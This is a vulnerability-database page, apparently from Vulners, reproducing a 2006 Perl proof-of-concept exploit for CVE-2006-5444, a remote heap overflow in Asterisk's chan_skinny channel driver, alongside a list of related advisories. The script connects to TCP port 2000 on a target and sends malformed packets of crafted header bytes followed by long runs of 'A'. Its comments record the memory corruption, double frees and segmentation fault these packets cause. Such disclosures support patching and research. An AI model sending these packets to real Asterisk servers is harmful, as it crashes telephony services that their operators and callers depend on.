Asterisk 1.0.12/1.2.12.1 - 'chan_skinny' Remote Heap Overflow (PoC)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Asterisk Skinny Channel Driver (chan_skinny) get_input Function Remote Overflow | 19 Oct 200600:00 | – | nessus | |
| Debian DSA-1229-1 : asterisk - integer overflow | 11 Dec 200600:00 | – | nessus | |
| GLSA-200610-15 : Asterisk: Multiple vulnerabilities | 31 Oct 200600:00 | – | nessus | |
| openSUSE 10 Security Update : asterisk (asterisk-2272) | 17 Oct 200700:00 | – | nessus | |
| SUSE-SA:2006:069: asterisk | 18 Feb 200700:00 | – | nessus | |
| CVE-2006-5444 | 23 Oct 200617:00 | – | cve | |
| CVE-2006-5444 | 23 Oct 200617:00 | – | cvelist | |
| [SECURITY] [DSA 1229-1] New Asterisk packages fix arbitrary code execution | 6 Dec 200611:55 | – | debian | |
| CVE-2006-5444 | 23 Oct 200617:00 | – | debiancve | |
| Asterisk: Multiple vulnerabilities | 30 Oct 200600:00 | – | gentoo |
10
#!/usr/bin/perl
# Beyond Security
# Copyright Noam Rathaus <[email protected]>
#
# The following proof of concept causes the chan_skippy to crash in different locations and due to
# memory corruption as well as double free calls, this is based on the finding of
# Security-Assessment.com, and proves that the vulnerability is indeed exploitable and there...
#
use IO::Socket;
use strict;
my $target = "127.0.0.1";
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $target, PeerPort => "2000");
unless ($remote) { die "cannot connect to skinny daemon on $target" }
my $packet = "A"x1000; #Causes *** glibc detected *** malloc(): memory corruption: 0x08175830 ***
my $packet = "\x30\xE0\x00\x00"."\x00\x00\x00\x00".("A"x1000); # *** glibc detected *** double free or corruption (!prev): 0x08184348 ***
my $packet = "\xE5\x03\x00\x00".("A"x996); # *** glibc detected *** double free or corruption (out): 0x08171740 ***
my $packet = "\xF0\xFF\xFF\xFF".("A"x996); # Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1494127696 (LWP 9909)]
#0xa76264cb in skinny_session (data=0x8183ee8) at chan_skinny.c:2896
#2896 memcpy(req, s->inbuf, letohl(*(int*)(s->inbuf))+8);
print $remote $packet;
# milw0rm.com [2006-10-19]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Oct 2006 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.85332